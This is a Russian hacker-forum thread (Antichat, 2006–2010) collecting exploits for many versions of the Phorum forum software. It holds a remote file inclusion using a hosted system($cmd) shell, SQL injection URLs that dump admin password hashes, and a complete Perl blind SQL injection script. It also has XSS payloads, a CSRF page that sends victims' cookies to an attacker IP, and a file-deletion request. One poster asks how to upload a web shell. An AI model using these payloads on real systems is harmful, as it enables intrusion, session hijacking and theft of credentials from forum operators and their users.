Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей Phorum] (https://forum.antichat.xyz/showthread.php?t=27224)

_-[A.M.D]HiM@S-_ 14.11.2006 15:24

[Обзор уязвимостей Phorum]
 
Привет ....Публикую Обзорчик .....Просто хочю что-бы в этом раздели были все форумы....Постеппенно зделаем...
Phorum 3.3.2a
Обзор:Недостаток защиты в программе позволяет удаленным пользователям включать внешние php сценарии и выполнять произвольный код и команды
Пример:Создаем файл replace.php на сайте evilhost
PHP код:

<?
system
("$cmd");
?>

Код:

http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls
PHORUM 3.2.11
Обзор:$f - идентификатор форума, переменная устанавливается в строке запроса. $admindir/forums/$num.php - это как раз ссылка на файл конфигурации для каждого форума; в этом файле и устанавливается переменная $ForumTableName. Так что, если просто указать ForumTableName в запросе, ее значение будет изменено. А что произойдет, если файла $admindir/forums/$num.php нет ? Будет выдан заголовок "lоcation: ...", и ... выполнение скрипта продолжится! А $ForumTableName сохранит свое значение, заданое в строке запроса.
Пример:
Код:

http://somesite.ru/phorum/download.php?f=999&ForumTableName=etc&file=passwd
Phorum 3.4.7
Описание:SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной
Пример:
Код:

http://localhost/phorum347/list.php?f=1&phoru m_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar
Эксплоит:
PHP код:

###################################################################################
# Sql injection exploit for Phorum 3.4.7                                                            #
#                                                                                                   #
# For details look at http://www.waraxe.us/index.php?modname=sa&id=19                               #
#                                                                                                   #
#                                                                                                   #
####################################################################################

$remote 'localhost';  # hostname of the target
$port 80;             # port number, usually 80
$url '/phorum347';    # path to Phorum, without ending "/"
$username 'test';     # username, who's info we will pull out

#-----------------------------------------------------------------------------------


use IO::Socket;
@
chars = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$data '';
$md5hash '';
$url .= '/list.php?f=1';

for(
$nr=1;$nr<33;$nr++)
{
    for(
$cnt=0;$cnt<16;$cnt++)
    {
        
$charx = @chars[$cnt];
        
$uriauth "$username%2527%20AND%20MID(password," $nr ',1)=%2527' $charx .'%2527/*';
        
$cookie "phorum_uriauth=$uriauth";
        
        
$data MakeGetRequest($remote$url ,$cookie);
        
$match isMatch($data);

        
$logline "pos --> " $nr " ,char for test --> " $charx "  --> " $match;
        print 
$logline "\n";

        if(
$match == 1)
        {
            
$md5hash .= @chars[$cnt];
            
$logline "current md5hash --> " $md5hash;
            print 
$logline "\n";
            break;
        }
    }
}

$logline "Final md5hash --> " $md5hash;
print 
$logline "\n";
exit();




sub MakeGetRequest()
{
    
$socket IO::Socket::INET->new(PeerAddr => $remote,
                
PeerPort => $port,
                
Proto => "tcp",
                
Type => SOCK_STREAM)
                or die 
"Couldnt connect to $remote:$port : $@\n";
    
$str "GET " $url " HTTP/1.0\r\n";
    print 
$socket $str;
    print 
$socket "Cookie: $cookie\r\n";
    print 
$socket "Host: $remote\r\n\r\n";

    
$buff "";
    while (
$answer = <$socket>)
        {
                
$buff .= $answer;
         }
    
close($socket);
    return 
$buff;
}


sub isMatch($data)
{
    
$idx1 index($data,"<a href=\"login.php?logout=1");
    
    if(
$idx1 > -1)
    {
        
$bingo 1;
    }
    else
    {
        
$bingo 0;
    }
    
    return 
$bingo

}
Phorum 4.3.7
Описание:Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей.
Пример:
Код:

http://site.com/phorum/profile.php?f=1&id=2&phorum_uriauth=testuser%3Aeb5cd67f6daf1f35d45a24a36355f4b1
m-phorum 0.2
Описание:
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" сценария "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
Код:

http://victim/path/index.php?go="><script>alert(document.cookie)</script>
Код:

http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script>
Код:

http://victim/path/index.php?go="><script>alert(document.domain)</script>
Phorum 5.x
Описание:Приложение некорректно фильтрует входные данные перед выполнением SQL запроса. Как следствие, удаленный атакующий может выполнить произвольный SQL код на уязвимой системе.
Пример:
Код:

http://site.com/phorum//read.php?1,[SQL CODE HERE],newer
Phorum 5.0.х - 5.0.12
Обзор:переменна "$message_id" не фильтруется.
Пример:
Код:

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1
Phorum 5.0.12
Описание:Уязвимость существует из-за некорректной фильтрации данных в параметре forum_id файла 'follow.php'. Удаленный атакующий может с помощью специально сформированного URL выполнить произвольный SQL код на целевом сервере.
Пример:
Код:

http://[target]/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2 c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%21%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorumusers%20WHERE%20admin=1
Phorum 5.0.14a
Пример:Удаленный пользователь может выполнить атаки типа "HTTP Response Splitting".
Код:

http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30
Phorum 5.0.0 – 5.0.20
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре “forum_ids[]” сценария “search.php”. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
Код:

http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users/**/WHERE/**/admin=1/**/LIMIT/**/1/*
Phorum 5.1.14
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "template". Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена, опция "magic_quotes_gpc" – отключена.
Пример:
Код:

http://[host]/pm.php?1,page=1&template=[file]%00
Спасибо за внимание.

Zak! 21.11.2006 00:01

Извените пожалуйста если не в тему, но всетаки: как узнать ВЕРСИЮ пхорума?

ettee 21.11.2006 00:26

phorum/docs/upgrade.txt
phorum/docs/NEWS

IgrVa 18.12.2006 23:12

Можно и так
phorum/admin.php

_-[A.M.D]HiM@S-_ 22.01.2007 01:26

*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

_GaLs_ 25.05.2007 11:09

Phorum 5.1.20

Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "recipients" сценария pm.php. Удаленный авторизованный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "group_id" сценария admin.php при редактировании групп и в параметре "smiley_id" в сценарии admin.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
3. Уязвимость существует из-за недостаточной проверки входных данных в параметре "$_POST[user_ids]" в массиве "$userdata" в сценарии include/controlcenter/users.php. Удаленный пользователь может с помощью специально сформированного POST запроса получить административные привилегии в приложении. Для успешной эксплуатации уязвимости опция "register_globals" должна быть включена в конфигурационном файле PHP.
4. Уязвимость существует из-за того, что приложение позволяет администратору произвести некоторые действия через HTTP запрос без дополнительной проверки подлинности пользователя. Злоумышленник может обманом заставить администратора приложения нажать на специально сформированную ссылку и изменить некоторые настройки.

_GaLs_ 29.05.2007 15:04

Phorum 5.1.13
Описание:Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных в URL. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:

[CODE]http://[host]/read.php?1,1Phorum 5.0.7.beta
Описание: Уязвимость в поисковом движке Phorum позволяет удаленному пользователю выполнить XSS нападение.

Код:

http://phorum.org/phorum5/search.php?12,search=vamp,page=1,match_type=ALL,
match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ]

Phorum 5.0.3 Beta
Описание: Несколько уязвимостей обнаружено в Phorum в 'register.php', 'login.php', и 'profile.php' сценариях. Удаленный пользователь может выполнить XSS нападение.

Код:

login.php?HTTP_REFERER=[XSS]
register.php?&HTTP_REFERER=[XSS]
profil e.php?id=2&action=edit&target=[XSS]


BlackCats 07.07.2007 15:43

активная xss
 
Phorum version 5.1.22 (последняя на данный момент)
Активнаяя Xss
в профиле жмём
Edit Signature
там пишем:
"><script>alert(99)</script> (ну или ваш xss скрипт)
теперь когда вы будете просматривать своё профиль у вас будет вылетать алерт...

foopi 19.12.2008 22:40

Небольшая бага
 
Код:

http://site/phorum/register.php
Здесь для защиты от спама стоит капча.
туда можно ввести тока 5 символов (в зависимости от длины капчи).
вводим туда такой текст:
Код:

">lol
Далее жмём на ОК. там около поля появляется такое:
Код:

lol" size="6" maxlength="5" />
теперь максимальная длина неограничена и можно туда ввести всё что угодно.например
Код:

"><script>alert()<script>

Эту же уязвимость можно также провернуть в
Код:

/phorum/posting.php?1

PaCo 19.03.2009 10:23

Дико изиняюсь за оффтоп но как можно шелл подлить имея акк админа на версию 5.2.10? Я уже все перерыл и не нашел там работы с файловой системой кроме как с /cache/ но там .htaccess

[underwater] 17.04.2009 16:44

XSS (все версии)

Код:

} elseif(isset($_POST["panel"])){
    $panel = $_POST["panel"];

Видно, что фильтрации на символы нету,и что можно использовать <, >, запятую, которые могут быть преобразованы в HTML. Можно воспользоватся этим:
Код:

<form method="post" action="http://web/path/control.php">
<input type="text" name="panel" value="Тут XSS" />
<input type="submit" value=" Submit "/>
</form>

Отправляем нечто вроде: "><h1>проверка" и видим что переменная $panel инфицировалась.
Код:

$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";

CSRF Уязвимость


Создаем файл, в котором будет :
Index.html
Код:

<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
</param>
<param name="allowFullScreen" value="true">
</param>
<param name="allowscriptaccess" value="always">
</param>
<embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br>
<iframe src="test.html" width="1" height="1" frameborder="0"></iframe>

test.html
Код:

<form method="post" action="http://forum.ru/control.php">
<input type="hidden" value='">
<script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
<br x="' name="panel"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


RulleR 23.05.2010 13:42

Phorum 5.2.15a File Disclosure + File Deletion Vulnerability
 
Phorum version 5.2.15a

File Disclosure + File Deletion

Vuln file: /mods/spamhurdles/captcha/spoken_captcha.php
PHP код:

/*...*/
    
global $PHORUM;
    
$conf $PHORUM["mod_spamhurdles"];

    if (
$conf["spoken_captcha"] && file_exists($conf["flite_location"]) &&
        isset(
$PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"]))
    {
/*...*/
        
$tmpfile "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav";
/*...*/
        
if (file_exists($tmpfile) and filesize($tmpfile) > 0) {
            
header("Content-Type: audio/x-wav");
            
header("Content-Disposition: attachment; filename=captchacode.wav");
            
header("Content-Length: " filesize($tmpfile)); 
            
readfile($tmpfile);
            
unlink($tmpfile);
            exit(
0);
/*...*/ 

Need: magic_quotes = Off && register_globals = On
Exploit:
Код:

POST http://[host]/[path]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=../../../scripts/.htaccess%00



Время: 09:01